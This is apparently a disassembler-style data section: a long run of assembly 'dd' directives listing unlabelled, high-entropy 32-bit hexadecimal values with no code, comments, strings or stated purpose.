dd 3F5F0544h, 88DA28EBh, 1F3D7605h, 5DA26D8Dh, 0F99E5C00h
dd 0FC2594A8h, 0A53B9800h, 1053A66Bh, 0F5E005Fh, 0BF665731h
dd 5AF0DF13h, 0FD82C198h, 0BF80EEB7h, 439751B6h, 0A3261A09h
dd 0FBDF48B3h, 0F042592Ah, 0F176F8E6h, 3A46E60h, 278D3139h
dd 9CC72C35h, 6A601AE4h, 72090E4Fh, 8979EDA4h, 5894E63Ah
dd 112AD660h, 0DA8101FAh, 25414BADh, 0CF9D6861h, 2F6CE66h
dd 0FFD3FFFBh, 6D582B7Bh, 97300099h, 6E28F558h, 5BB805D8h
dd 9F30FB5Ah, 9ED5BD89h, 0E3A293CCh, 168784A2h, 0A08AE625h
dd 206F0CFh, 6AEAFA58h, 7D40F42Bh, 0D6821391h, 0AD9E27AEh
dd 2D019A20h, 0AF03F38Bh, 265A2009h, 0E580489Bh, 6A1F64CDh
dd 5C880E4Eh, 8F770051h, 7B252DEAh, 3A273E18h, 0A5A1CECAh
dd 6316C435h, 0F0A883A6h, 2DED0DEFh, 0D9891865h, 0ADC4DDE9h
dd 0E0B3ED2Ch, 0D70FB1CBh, 31088675h, 2607559Dh, 894560EFh
dd 9300B992h, 0C690C5CAh, 0B958B36h, 1457BD83h, 21451264h
dd 2B89F5DBh, 7ADBD920h, 0C8885A6Ch, 0B6E2DE4Dh, 0E97B4F0Ah
dd 7E250B91h, 2C760E0Bh, 172E85AAh, 0F9EEB01h, 0F345E180h
dd 500B63Bh, 96C15FAh, 0CD084195h, 7B2F52E7h, 7CACDCADh
dd 0A3CB0D00h, 28520F86h, 5E8C52D5h, 1BE48770h, 218C9F60h
dd 9AEC204h, 0EF85D2FBh, 0CCB65D25h, 427687E0h, 0BA222F00h
dd 0DB52B94h, 0F7149F08h, 74F79B0h, 6B89F788h, 6A4C1285h
dd 35203C45h, 5F3A25F7h, 9D89FF98h, 6B27512Dh, 2DA88D66h
dd 1B3DF313h, 8BA210EDh, 14489293h, 64F3482Dh, 0EEF09004h
dd 0C657812Dh, 1C6251FFh, 55E9495Fh, 88F3342Fh, 0C200A436h
dd 1DEB0C53h, 0E651E7B6h, 0C14F05C3h, 0FBB05F21h, 3FF188E6h
dd 75ED7B29h, 97DF8100h, 0E6107513h, 6BEA705Fh, 59820EF6h
dd 289A586h, 10C7A404h, 0EA5F89F8h, 92D8D6Bh, 6E735B89h
dd 0C95D70h, 0D16C54F2h, 0A967A53Fh, 0B4E796C2h, 1322D136h
dd 58C58260h, 25790561h, 0C3B9E322h, 4A0468F9h, 8E840ADBh
dd 294FF094h, 0F02D8D26h, 7F82DBCh, 97EF6008h, 0D9C0B097h
dd 0B7D82B61h, 0AD813EF4h, 3D6CDEFh, 0B593B0F4h, 8E80593h
dd 9F019E4Ah, 0DDE61475h, 7533504Dh, 39F8BD00h, 0C29CD4A8h
dd 7DCA1B02h, 4D93F724h, 62E0EFE0h, 6A5C556Bh, 1AD90D27h
dd 25F4DE9Fh, 0EB61649Ah, 2F16280Dh, 1437F5B0h, 9B465D25h
dd 0E6C68104h, 0AE83F710h, 0DA1AF2BDh, 7046BB68h, 38000D63h
dd 15D4BF5Ch, 358529A6h, 1756236Dh, 5BDABA5Bh, 0A273ACC1h
dd 1DA49F25h, 45F0C6A7h, 0F0FA6663h, 1BB63BDh, 0BAD96F7h
dd 38097C55h, 5F9695F5h, 0F98E78DBh, 0B4CFF846h, 0B0E2920h
dd 2318501h, 0F3EB96Ch, 0EF88CA80h, 0DC92B6C3h, 5510F317h
dd 9E2C8BFh, 31B9BD10h, 207EBB55h, 72D4D692h, 1821C202h
dd 4AE04E34h, 70A2D3A1h, 10120FB4h, 0B713AFF1h, 0DA856B9Bh
dd 0E52583E1h, 0D9580BF4h, 1E2001DBh, 200F8747h, 0D120BDF1h
dd 0DFA60Ch, 8465AD20h, 265FA83Ah, 61E1A916h, 2150C0D2h
dd 64A5B529h, 0DCFF601Ah, 0B0BF08E5h, 266E83Bh, 1A65837Bh
dd 0D7E909Bh, 766F5525h, 0B580F244h, 5BDA9AD5h, 0FCD009A0h
dd 4D5A5456h, 2796023h, 0F21C93E1h, 8BAC0626h, 0A159D08h
dd 2F278F0Fh, 0E2D09842h, 9D44CCB4h, 4A953146h, 55E9BA9Dh
dd 89424FDCh, 92757E8Dh, 0E77CA65Bh, 0A42B4EF3h, 0E6C05FDBh
dd 55EE31FBh, 897BA104h, 90F821BDh, 8920FB5Fh, 8BAAA2h
dd 7F5FB749h, 0D099CD58h, 0BF592ECCh, 1179FB5Eh, 0D8AE1988h
dd 4A491440h, 11C60005h, 0C730697Eh, 2B6BE9A7h, 0A2560021h
dd 0BFC08BDCh, 48009837h, 29DA3B57h, 1B05209Dh, 0E4544795h
dd 0C731601Ah, 8A450A2Eh, 1CF9E6C0h, 0E181D4FBh, 0E485D29Fh
dd 5F16F754h, 26A03727h, 0CA806983h, 0F1C0046Dh, 2AEA7ACh
dd 31EF4114h, 56F101BAh, 0AF5725E4h, 0C442C2C9h, 66E5ABE9h
dd 80DBB129h, 73BC9F0Fh, 91007032h, 0A2121192h, 0BCA5DD8Eh
dd 18DBE93Bh, 0F28F2750h, 95DB103Dh, 2D992E34h, 64464DA5h
dd 20986015h, 4ABE7D66h, 395A05DBh, 0E92AA414h, 81012341h
dd 306930F1h, 0DE02F22Ch, 0E5C24E13h, 0D7438B30h, 0ECE4009Ah
dd 0DD7C1913h, 0E590521Bh, 122BCD20h, 0E9BD335Fh, 0A29B4E06h
dd 92BCB080h, 0E7F859AEh, 0B9EEBE00h, 9D09375Ch, 1F8EB655h
dd 777C02F8h, 82556CFDh, 66515270h, 90DEBDF1h, 0CCF62512h
dd 396C1CE0h, 2C053472h, 83BDDDCh, 122056A8h, 0E5438495h
dd 0D1B819EDh, 28549E07h, 0F9858097h, 5FFFD0C1h, 9C1027Bh
dd 51F8D595h, 0B537BFh, 685F8AAAh, 1120B523h, 0B8BEDC02h
dd 642FE940h, 9DB669F7h, 0DB602392h, 86FD8903h, 4B5DED3Ah
dd 0A4EC1CB9h, 4F00DEFFh, 155461BFh, 24D06726h, 86E7D13h
dd 93B1695h, 0CA8D21D3h, 0E0FE4D4Eh, 191DB4ACh, 0E20F9619h
dd 30400D50h, 0D110D19Dh, 830B340Dh, 0E6FD01E1h, 9DA1FEB1h
dd 42AC40Dh, 0E2F2F621h, 2931A761h, 0E1DB160Eh, 798675C0h
dd 4C793257h, 8531AC0Ah, 6196F239h, 0BDC1E983h, 986DD72Dh
dd 770B50A8h, 82DFE7C4h, 80CC9B6h, 6B7A25A8h, 0CC783D93h
dd 8BB01245h, 0F78A0DF1h, 5F576B52h, 0CE17086Eh, 52B27Ah
dd 0D5E16C84h, 491B71Bh, 24D77DCFh, 4D888141h, 8258022Dh
dd 3D2AD1EBh, 0CA01CC9Fh, 4B35AEF4h, 95822223h, 7122DB5h
dd 69B22972h, 443D4E08h, 0C7518B02h, 8E0530E5h, 5FE33F53h
dd 2D80D3DBh, 5626025Ch, 13B1E704h, 0ABC7D24Ch, 8490BFD2h
dd 20957DBEh, 21E2E0F6h, 0EA5DE60h, 0C5504A83h, 81E6EF51h
dd 6C64FCE0h, 3BA0C119h, 9FE4E8A8h, 63E32880h, 555782A3h
dd 48D6B37Ch, 6D1566A7h, 0EFDDBF06h, 196BDD5h, 0ECB47DDAh
dd 897F508Bh, 1353D99Dh
dd 5D242534h, 0AD408C6Fh, 25BBED7Eh, 0E1E2D329h, 73551589h
dd 781E5815h, 45C7AE05h, 6E04759h, 925F95D1h, 4F3D95CEh
dd 7ECE7D40h, 8909B488h, 419F383h, 2904F8F9h, 0E8DCED2Ch
dd 1ECF095Ch, 0ED71F7B4h, 28350A03h, 1713D3AEh, 7B1EC162h
dd 0C3116C7h, 0A2AD7E12h, 55A8B2Ah, 56C77BEh, 2AED3D51h
dd 0EF5F7E6Ah, 8D866635h, 35618270h, 0B99F802Ah, 0E590BA66h
dd 4A2F3A1Dh, 0E95B8C5h, 6A3B5B2Dh, 977F0327h, 12BB2F91h
dd 12AF2C5Ah, 0B861A948h, 3A97F43h, 0FE51063h, 1F76088Fh
dd 818E8E4Ch, 85C76160h, 0B6D3172Dh, 61F5E1D0h, 9FB82129h
dd 5801ABE0h, 0C49033A9h, 0B540D19Eh, 2D29DF7Bh, 2B80158Dh
dd 9D6107EBh, 0E052E95Eh, 168000DBh, 1DCAAFDh, 2B3DBD11h
dd 0DE23DF26h, 0ED134007h, 0FD2353Eh, 641E5E8Bh, 4BEB00CFh
dd 0F0E0910h, 1AC53C2Fh, 0A4ACDA00h, 0D238D41Ch, 3E4B85Ch
dd 0F53134CEh, 0B327A81Bh, 3D17929h, 2AC7DD5Bh, 0E7E717E6h
dd 0DB67A1DFh, 19FC2A6h, 0E6412800h, 57DD427h, 0BBE9C372h
dd 0E880AD0Eh, 0F37502FCh, 2CDBD89h, 18CEDD0Bh, 10896944h
dd 5E1E118Dh, 2F201CFEh, 0D7038837h, 908DCC32h, 256AFD56h
dd 6990FCE4h, 7201C8ABh, 0DA8BF9AEh, 6F3E04C2h, 0F0220439h
dd 0B4C03A53h, 120B51D3h, 0FD267D9Dh, 0E1C02715h, 400420DBh
dd 15401141h, 0FCBDADBAh, 0C13F9AFh, 9D8D88D0h, 7FAD782Fh
dd 1145A934h, 46C51A08h, 2F094FACh, 4031CF1Ah, 0EF95BCE9h
dd 7F1A0575h, 20AA07B3h, 0AC250475h, 8DA1027Bh, 23248085h
dd 0AC4056EFh, 0F8FC51EDh, 47419E01h, 0A42D1083h, 5A000556h
dd 8061B3D2h, 0B5A3752Ch, 0DDE2F711h, 0D757200Fh, 8E57E501h
dd 71DB19B8h, 8064A87Fh, 0C0E9E381h, 5A6E3950h, 283498F4h
dd 25848583h, 9A402404h, 0D0C8A5FEh, 0C429923Dh, 6079F035h
dd 4AD08B3Ah, 5F6A88BFh, 0DFD52BBDh, 0D065EAEDh, 0EF5F81A2h
dd 0E1A44060h, 95FF095Dh, 0A2DB1F21h, 171AED0h, 2114CEB3h
dd 2E8A11BAh, 0D0BB0960h, 3D8B6BB2h, 1B10E3B7h, 468E7E04h
dd 0D69C8208h, 51689241h, 0DFBD33A5h, 922616ECh, 0BC76F348h
dd 40F637F0h, 3A7CC002h, 3BA2970h, 767B0EF2h, 90887B8Bh
dd 95B579A1h, 4D64BA7Dh, 9CD1E00Fh, 1A903E29h, 0E4FD217h
dd 2E8E8DEEh, 8D00A96Eh, 0FDD8B6A4h, 3E13A6CCh, 9E046038h
dd 41209D9h, 0AE118516h, 0E861B945h, 0A7D2E220h, 0FD4129Ah
dd 0BAD12084h, 63125F7Dh, 0DC305039h, 293D65FCh, 3F866CCh
dd 59F88A57h, 0CA5E92C5h, 0BA02FE64h, 499B02D0h, 0DCCD5E58h
dd 826ED200h, 0FF71285Eh, 9532E6B5h, 0A64A4DDh, 22799320h
dd 7E6E6EF9h, 0A6EDEB00h, 9589687Dh, 0F704B95Ah, 0ACAAD0FFh
dd 8A949D2Fh, 0DD80092Ch, 0C150A3Ch, 0FD8D2340h, 866B11Ah
dd 0FB640A11h, 0F308F950h, 8BE2F640h, 0BE28558Dh, 0B5E263CBh
dd 0D7AB7640h, 4C8504Fh, 0F2330323h, 6EC67886h, 6FBE0688h
dd 90D36702h, 91385824h, 882A50CFh, 0CC005283h, 4A18272Dh
dd 154358Eh, 2E896999h, 616F9157h, 0EC5CC24Dh, 13D56588h
dd 0E3EA8860h, 94FB9B00h, 55AF742Eh, 0D2290068h, 4DB95860h
dd 631789EEh, 305A61h, 2DAEDEBAh, 0D6CD20B7h, 291C2AE0h
dd 23A813BEh, 7ADC21Fh, 2FB96600h, 2D0D935Ah, 0F5C0634Dh
dd 1D754E03h, 6FD707FDh, 950B9A5Eh, 81F160D1h, 2E9D09F2h
dd 38326963h, 0F95DB089h, 0DB7227B6h, 0F12FF84h, 80EDBB7h
dd 0CC4F0F9h, 9A9AB01h, 0C5E672BCh, 21B59B0Fh, 2663F209h
dd 0ED807756h, 2746F802h, 906D393Dh, 634D53D4h, 6085522Ch
dd 0F8319D85h, 0EA613D00h, 0A636EBAFh, 0BA650170h, 3F229EFEh
dd 0E009215Fh, 6628126Ch, 8B45F534h, 48D1E49h, 0B72A5951h
dd 0CBE40820h, 262B0B99h, 0B600B6D2h, 9AC295F1h, 134AFBE1h
dd 9B58560Fh, 0EC28077h, 23110CFh, 933AF115h, 527E525Dh
dd 50AC2C40h, 98030B7Fh, 1881D268h, 0E43C10E4h, 5B715952h
dd 0BF012893h, 35B21866h, 65953432h, 80E3AACh, 0E91CF201h
dd 0D618081Dh, 78270D29h, 0B9F5950Fh, 0BE2A6C49h, 15818624h
dd 68001701h, 0AAE46EB6h, 815CD9F6h, 96CD3F23h, 7A6304Fh
dd 0CA8A29E0h, 40C97EBFh, 3169BD23h, 0C9007EBFh, 0A370D6FBh
dd 7F5816F1h, 3F26E25Bh, 872E3F39h, 0D9F26C1Fh, 41D02500h
dd 0E4520293h, 85BE7C24h, 0F29DAF49h, 6CF4B6F2h, 0B17D3B2h
dd 0B344698Dh, 6EEA046Ah, 0EC65121Dh, 0C0002AE2h, 1421A6D9h
dd 472D31F2h, 4AAC64E8h, 5ACCAB10h, 91B30082h, 3B1E2C13h
dd 0F426D1F3h, 0DA12DB50h, 93818F25h, 81EB3C86h, 276A6051h
dd 56A0B0EEh, 1E009869h, 6A6F0B8Fh, 1363943Eh, 10619E80h
dd 8B092207h, 225658D8h, 0ED7F01DCh, 0D99533F2h, 0D3680005h
dd 0A1D06EAh, 0E243481h, 0F7B11C77h, 3916D4A8h, 5D038494h
dd 63174EC2h, 0FBE70E7Eh, 0F195FFB8h, 5FDE1F5Bh, 75FD409Ch
dd 976AC6Ah, 0A027B905h, 0F1081992h, 75FDA078h, 0BDB183C9h
dd 80547855h, 59687AB6h, 97DC2C0Ch, 0BFBB845Fh, 0E33617FDh
dd 354B911Ch, 0A7994704h, 36830F3h, 65C9A99Dh, 0A2659390h
dd 0D58A025Fh, 10BD6764h, 0E02E1Ch, 1DB1A956h, 7B5E67F4h
dd 0EF4A5B18h, 1253502Ch, 8D5F5260h, 90E902F9h, 29701D53h
dd 0E85D7653h, 2DF92A95h, 6E0B5F82h, 0DE250F2Dh, 5EC9C97Fh
dd 99C6405Ch, 0CDE0F1DBh, 0D28ED100h, 82FDFEDFh, 7D10090Bh
dd 485FFA2h, 0E8CD4945h, 79C26410h, 648E4B00h, 62D486A6h
dd 0F30305C8h, 40334E99h, 71088A31h, 0D90035C5h, 28C85101h
dd 11BEF4Bh, 6DACF721h, 7F505B60h, 3607CCBDh, 0F0692F6Fh
dd 0EE8AABE4h, 7CA3BB96h, 4F42658h, 8B8AC176h, 886185FAh
dd 230C60E3h, 0E1CE985h, 990300BAh, 8D615C30h, 0F4D64FB5h
dd 30C7969Bh, 0A7FC12BAh, 22960B78h, 89390504h, 7204BF85h
dd 1C190DADh, 9A70FDBFh, 421E53E9h, 7A5457FCh, 706053E9h
dd 4329686Fh, 8C80CC28h, 0D39A04BFh, 6C740355h, 0E27F3F1h
dd 0A094A5C8h, 0C3987DE4h, 257BB797h, 312C74C6h, 5086413h
dd 0B5243B16h, 628947F5h, 0C7011341h, 0D4F27085h, 34646BBDh
dd 7B947600h, 80183889h, 9520707Eh, 17D905Dh, 5B92D9Dh
dd 0C985B2C8h, 268D0B40h, 250D2046h, 6F256298h, 737426CDh
dd 8D43DE61h, 0B6254A47h, 0B4E4E047h, 806C01F5h, 0DA833A01h
dd 0C56E3A40h, 0E81C13h, 0B4D9CFBCh, 0F0C53880h, 0FF0D485h
dd 94B55B09h, 1518CA0h, 839D8D2Ah, 0EA20BB01h, 0F948364Fh
dd 995C4294h, 0B82D4235h, 0D52080FCh, 7257954h, 0C29041CFh
dd 0E908E007h, 4B0475E4h, 830F17DAh, 0D38697A8h, 2F7C525Fh
dd 28198422h, 0C14A8D89h, 0F407E9BCh, 83B3583Bh, 85C3B56Eh
dd 5CE640CEh, 6A0E37E0h, 502D5701h, 2F0DBD89h, 45A2607Ah
dd 2300274Eh, 91B20CCCh, 2CAC4FCh, 0FF7A5440h, 0FB72BD83h
dd 3E8124A9h, 1B8871CFh, 204832C0h, 0A1654F76h, 3176326h
dd 0C26F336Eh, 0F1598FCh, 5080096Bh, 0F623CF8Bh, 81DCB060h
dd 120F9F8h, 4A3C0361h, 35800493h, 0DDA81627h, 5A408D3Eh
dd 2962C665h, 8892D4C5h, 0DCA05E58h, 0C6BF3E01h, 90AE858Bh
dd 2DDAA09Dh, 0D0701C53h, 513225FAh, 0E9C8AD09h, 0F809D181h
dd 84494230h, 0BAF26C68h, 0C00B247Ch, 0F9B8136Fh, 0FDF9EDE6h
dd 920BE2Ah, 41A19D2Bh, 144E472Eh, 7B610B31h, 989F7018h
dd 0F84F8400h, 5935453Bh
dd 28D59BD7h, 4CCB137Ah, 0B96665C4h, 0BC044981h, 0F2B1216h
dd 0CABE308Ah, 3D9599E9h, 699E8021h, 66DF8B10h, 59E4B909h
dd 55B5561h, 0E217DC58h, 2FC6FEF8h, 0D63D011Ch, 0A01AB90Eh
dd 186A7943h, 0C8172637h, 13FD1320h, 80F9B816h, 9F63017Bh
dd 6BA900A0h, 335E70Ah, 9BFA9E0Eh, 0FFC4D326h, 2C45B505h
dd 0D52F3789h, 68C680F5h, 802DADE8h, 249E11Bh, 5A1FB710h
dd 0E80D8D94h, 6E69222Dh, 0F80EABB8h, 129DB531h, 0E21CF3AAh
dd 2B033016h, 8E884F5Bh, 875016Bh, 0B2211CA2h, 7A463FFh
dd 2FF8DFB9h, 0F9AE07C9h, 0D0E5D399h, 0BC00386Dh, 0BBA835Ah
dd 45FDBD01h, 0BE6B542Bh, 0A007A97Ah, 61E8D37Fh, 0D5F74D61h
dd 7A216B8Ah, 21DD8FCCh, 0BB8203Ah, 85A519Dh, 20052292h
dd 0A8EA7025h, 0CE11AF5Ch, 0CB8CC020h, 995A4DE0h, 2FE814AFh
dd 9163B300h, 0F03C4A3h, 4BA1E92Eh, 2F1FA038h, 4E9B615Ah
dd 0AD60F8F2h, 90800CD9h, 504A38B7h, 0FC1B20CEh, 9D0FEC2Eh
dd 857F3612h, 0CC82905Ah, 2F475EC1h, 0C3940E1Bh, 0CB3D0714h
dd 40A50DBAh, 3B36A941h, 1C437CF0h, 0CC62B00Ch, 9F9D2E5Dh
dd 482B0CAh, 8B070FADh, 0D1C0967h, 0BF28D2C0h, 3D7D0CF1h
dd 648DDFE8h, 0BED75DEh, 56000CB8h, 0F2713F3Dh, 0A2B04F2Ch
dd 422757E5h, 0BD285081h, 0B79D4CD7h, 635E006Dh, 0ED67BA66h
dd 7D9D290Ah, 0D4499E1Dh, 0A0C117BCh, 89EB8D9Fh, 0D408C2F3h
dd 2200DE5Ah, 911F71C2h, 26705567h, 8628C3Ah, 0C0921DA5h
dd 28E0CCA6h, 0C60B7AA5h, 0C4746DD8h, 0E63F3D29h, 2F28BC80h
dd 0A07C26C8h, 5C64AC04h, 27C0962Bh, 17CBBF60h, 4470413h
dd 15161D3Bh, 27B12293h, 0EA5ED981h, 0B7076E2Ch, 0D1F289CAh
dd 0D5565508h, 0E3FB6065h, 253522CEh, 6C55016Ah, 79931109h
dd 1D4E6422h, 0C1FE8B40h, 68620CEFh, 6820043Ch, 0F45702AEh
dd 0D58ABF0Dh, 0EA34347Dh, 9BA63465h, 30DF6802h, 0FFD1A9C5h
dd 0A9423FA1h, 0BD0E850Eh, 6A502A91h, 56057C8Dh, 6112006Eh
dd 0E075C1C3h, 686E605Bh, 0F0854D00h, 0B9C752BCh, 0D817FE25h
dd 8D030933h, 795515A1h, 438F84Bh, 2E41CD8Fh, 0D74D2BBAh
dd 0D8B1660h, 0B1B424F0h, 12190878h, 0ED09A224h, 0FCBA1A2Ch
dd 311026h, 0ED15BF66h, 6343E861h, 598D9F08h, 0B5AA2162h
dd 0FA51042Ah, 5E4C1520h, 9D0300F2h, 8DF5B72Fh, 0CE01945Bh
dd 0CFE8E277h, 0B2FC79CAh, 5E17EE5Fh, 0A095B708h, 1106F11h
dd 6EB63291h, 0B8513C5Eh, 5130A896h, 3D157D2Dh, 40DE1FA3h
dd 5C8E138Bh, 0BF5DE8B5h, 8D2B1E12h, 17330F14h, 9ED01D15h
dd 6BE8DEEBh, 0EDFF2BAAh, 95CC608Bh, 0D10197BFh, 921481B0h
dd 391010E8h, 0E61FF129h, 0DB4058D0h, 6CF4E4E2h, 0B9010971h
dd 0AC35EE0h, 8956E388h, 0B84F9C94h, 950F41ACh, 805137F5h
dd 8B82DD2Dh, 386FE8F2h, 0B52382E5h, 590C4931h, 99D5BAFFh
dd 0DAD25C2h, 870E253h, 54AC0E30h, 94CFD5BEh, 0D4FBE865h
dd 0EB6F47h, 22C0662Fh, 0C5A93595h, 0BC1EB1A2h, 0CBE8873Ah
dd 474FEF69h, 9269006Dh, 347E3659h, 17B9F305h, 0C14585ACh
dd 7AAA1ECDh, 87DD0016h, 8F293FA5h, 0FD42266Ch, 71E80DD9h
dd 0BD8240B5h, 16832E99h, 0C429854Eh, 0B8AAE9EDh, 0F5803960h
dd 0F0A55AFCh, 3A69E859h, 7114736Fh, 3C9BD0CCh, 54967C17h
dd 40A566E0h, 854A0F02h, 2FEA8CFEh, 45C68BE5h, 0F47ADC15h
dd 2EA1DE01h, 5DCE8FFh, 0CB03B37h, 0DE01C8B7h, 841389A4h
dd 49011858h, 0ACE80107h, 0C6816181h, 2BFF5B13h, 105D2004h
dd 40E6001Fh, 0E862B5C3h, 8B2F9563h, 682648FAh, 6F99EA4Ah
dd 5B70C6Ah, 0FC897C61h, 1575308Bh, 0BCD02F73h, 63EB9849h
dd 4DE89D21h, 0A85C5F6Eh, 2FC12C01h, 3CE8A1C8h, 104323DEh
dd 12505811h, 0BA2D012Ch, 0CEF06EA6h, 7616D0E4h, 0F5E03955h
dd 11E40BDh, 613E40EBh, 6C0570BFh, 0F8E878B4h, 0CAF99A92h
dd 5446CA9Bh, 9201DCFFh, 5209A7EDh, 9B247BD2h, 0B9E9A839h
dd 0EF500E9Dh, 9B17B03Bh, 31BF810Dh, 872A806Ah, 888934A6h
dd 0AA76BE72h, 2F652B3Fh, 824C718Ch, 5A73BBC3h, 5CAD2BDDh
dd 0AA00DEA9h, 3EAF7771h, 5B064C87h, 0D988B07Ch, 3B407A9Ch
dd 0C939E037h, 525CACB0h, 104372Fh, 0C4FB6B08h, 0B6942A1Bh
dd 0D1D77500h, 95A1E670h, 0B755B242h, 0C5580B7Eh, 20403978h
dd 9BD85B2Bh, 0FC1A80EFh, 0E4515093h, 40619C52h, 0F7D37CEh
dd 3C414302h, 54597BC2h, 0D60AC051h, 0E200EAA2h, 80BED1DDh
dd 407A65A3h, 934F5986h, 0D3000A6Eh, 6E77FAAFh, 0D6B8950Dh
dd 53304925h, 0BB019247h, 0DE4245A5h, 5B85A4DDh, 3FE080F6h
dd 8D129012h, 7942B195h, 0D5F5CD80h, 0BB1A9A85h, 9500956Fh
dd 8CE5AA5Ch, 0D058CC07h, 0BF8041Eh, 0D6943DB5h, 5995FD80h
dd 3458431h, 61DE5040h, 0F0425B89h, 26416914h, 3027A8BBh
dd 80D39653h, 17344314h, 0B98509CBh, 5EEA69ADh, 7A74DC7Ah
dd 0C0D2BF03h, 0B16651D6h, 5D43FA0Ah, 21B216F8h, 3CC17B07h
dd 732F04E4h, 34AE0837h, 0E9CD26Dh, 51FA780Bh, 0A104661Dh
dd 0DB86E01Ah, 0ECDD7057h, 0AF277A02h, 0CC870F2Eh, 0EAE917CBh
dd 8A038D2Bh, 0D20ABD80h, 0EB1D944h, 66E7Bh, 67F15823h
dd 66EEBDF5h, 0D8F6CEC9h, 28DCF0B4h, 9F86290Ch, 35E1BD4Dh
dd 0AD7007A2h, 8172A949h, 2CF6B854h, 9C496EE0h, 0A6322104h
dd 90965FB4h, 0B8379DE4h, 5DB4D00h, 0B873A0Dh, 0C0D31788h
dd 4940B0DCh, 2B1E5Ch, 0BB124098h, 3D3EA524h, 9C7F973Ch
dd 50A5EFB3h, 0B4D70A4Ah, 0AD985E62h, 63BE8058h, 6EF12140h
dd 90280067h, 773B92E3h, 0D80EB4C9h, 29475E9Bh, 107FD6A6h
dd 95A07A2Fh, 0DEBB2BA9h, 287F11D8h, 948ECD1Ah, 961ADC5Ch
dd 5CD39CB0h, 7C18DCF5h, 91CCC668h, 0CB8B8020h, 558892D6h
dd 9C1901F3h, 70BDCFD1h, 3471B052h, 9F1F119Dh, 9082A6B7h
dd 0F830227Dh, 0CBDF147Eh, 8D25B2A8h, 0F61AB3A5h, 0B499E0B6h
dd 186E0368h, 88726ABBh, 9225AAEh, 0E6424B1Fh, 6BDF053h
dd 15CC69E9h, 0BFDC41F4h, 0B66287F6h, 771CEAB1h, 9A032BB7h
dd 4F5FFB74h, 0CEE1883Eh, 0C4BF4C00h, 0AF8C0D6Fh, 78E0FBBDh
dd 272E12D9h, 3BA6EE43h, 890AF2F0h, 0D2D19D26h, 64C5B542h
dd 0A837BD8Ch, 1755CC80h, 12EBF16h, 89012BEDh, 4075D95h
dd 937FB8BAh, 0F06D100Eh, 24DCBF01h, 9EC3439Eh, 2EA03D18h
dd 935C58Ah, 82C80FD5h, 0C04F8BFFh, 2CE0B3A6h, 0E50B2EA7h
dd 4F644588h, 0F35549A3h, 0B385168h, 0E7E4B6D3h, 0B504F5C5h
dd 0BCBA1EC9h, 917CC778h, 0F2CEC89h, 8F4D8916h, 0BADF7524h
dd 0B3E9D412h, 0EFF05E34h, 1D23FB6Bh, 69657725h, 2E97EE20h
dd 0E6B3E5F6h, 9DF17EF1h, 12C3D6C6h, 0BC07A96Ah, 98DB16FAh
dd 8080A8D0h, 18313D48h, 72200524h, 0BC75AEB6h, 0ACEE809Fh
dd 252D6FAh, 9EB0C849h, 0C14A78E5h, 0BBE0736Dh, 1D556E8Fh
dd 425AA921h, 0D88BC8BAh, 4031A780h, 0BDE80623h, 3FC4914Eh
dd 6FE412EFh, 72180E3Fh, 4CCB605Eh, 1DFCB20Ah, 0A96BF50h
dd 0A7AC7E1Eh, 0DC00F1B7h, 5F9AC863h, 0B0AB09F8h, 34736ADBh
dd 1668378h, 8998DFDCh, 491B058Dh, 0F40645F2h, 951229BDh
dd 75AA3021h, 0EB2BC2Fh, 338D0846h, 17508CE9h, 2F316429h
dd 0C0509BD1h, 20147FCBh, 97F703C2h, 574033D9h, 4ACD9622h
dd 0A8DCBB5Fh, 9A008B21h, 6AED2BE7h, 0B49D3102h, 5573A86Bh
dd 0C26AC0F9h, 6C8211E6h
dd 0B3042F55h, 0D744481h, 10B48B3Eh, 0A84A403Bh, 6987801Eh
dd 245BCFDFh, 4E1BB2Eh, 845F07F0h, 503BFC2Eh, 8E50E431h
dd 0BD102B90h, 90300DC9h, 0B750DF20h, 23097077h, 5714399Dh
dd 51AD58D3h, 0C844A51Ah, 0F308AC00h, 8B2A0B0Ch, 0BB804AC9h
dd 207A8F8Dh, 41C7EABFh, 80EF583Ch, 27205FD2h, 4F6FC1D5h
dd 6736B340h, 1FF8B19Eh, 59416F6Ah, 0B5750712h, 0F301DCE5h
dd 0AB2F0791h, 0AEE9D763h, 29510573h, 490B0DBDh, 0DA0BB0D7h
dd 316139DEh, 5F10CD95h, 9DEC70E6h, 0E4576961h, 30605071h
dd 5FF2A8D9h, 4E4B9003h, 2560B308h, 0DAFC91B5h, 3F3F33C8h
dd 0B6006516h, 0D006BBC8h, 869E1483h, 0C18BF540h, 410B44E9h
dd 310E2961h, 9AF4661Eh, 13914FAEh, 85C20542h, 9925AF06h
dd 0E0E5420Ah, 0C6C82B8Ch, 0E507EF29h, 0C40EBAD1h, 7DE2D2B4h
dd 0B432466Eh, 979C85F6h, 0FDBF6682h, 0CE3563D7h, 0BE3393Ah
dd 61110EEh, 0D03BC1A5h, 0E05983ECh, 98A90F3h, 34E90380h
dd 0EA95A464h, 711A60DEh, 0B4C69515h, 838A847Dh, 281431E9h
dd 131BA51Fh, 8989FCFEh, 4DF301E7h, 70E9032Fh, 0B58D043Dh
dd 0AB22CA57h, 7700C26Fh, 23F8A7A6h, 0B432326Fh, 0DA49B0CBh
dd 52B79704h, 14E70396h, 26AAE024h, 580749BCh, 1364E25Bh
dd 0FC4D985Fh, 0D75254B9h, 0C2800260h, 0D9B70FC4h, 0FC52855Dh
dd 2AE0DEA6h, 0B14B96F3h, 0EAC0A620h, 0E4B70018h, 3638C76Bh
dd 0E50934C5h, 3E4396h, 66A8575Eh, 0F1F912BBh, 61A3BF5Fh
dd 23C5B50Dh, 0DF1E41B3h, 8EC56867h, 0F7840072h, 9D498819h
dd 75DCD5A9h, 89100DEh, 815F79BEh, 27A2BAA9h, 31700973h
dd 89A80974h, 2B02427Fh, 0AD001711h, 0D4D1C233h, 0E902D450h
dd 29F47504h, 12C0561h, 9E3F880Dh, 5147C052h, 0CAAC116h
dd 25E51D28h, 3041B582h, 9A5D95D8h, 7A6DB353h, 8B80227Dh
dd 49707EFEh, 47627E00h, 8300A65Bh, 0F65802E6h, 48284B13h
dd 0C522D6D4h, 5DC749Ch, 0CC5EFECEh, 6009AB79h, 0D85905F5h
dd 91C27183h, 94BA0318h, 0B156E978h, 3B585819h, 827CDE25h
dd 8DB6D8C4h, 3C9172E0h, 10C7B258h, 824F078Dh, 0BD5792D9h
dd 11A480FEh, 4F9EBACCh, 0BBAAF217h, 70052A2h, 686C9D6Eh
dd 5C00B0D6h, 2D2C98B7h, 7DDF587h, 1E05529Ah, 3D5509B8h
dd 8719802Ch, 6CD7F5A1h, 12726A5Ch, 0CFE94DB0h, 0C10032E8h
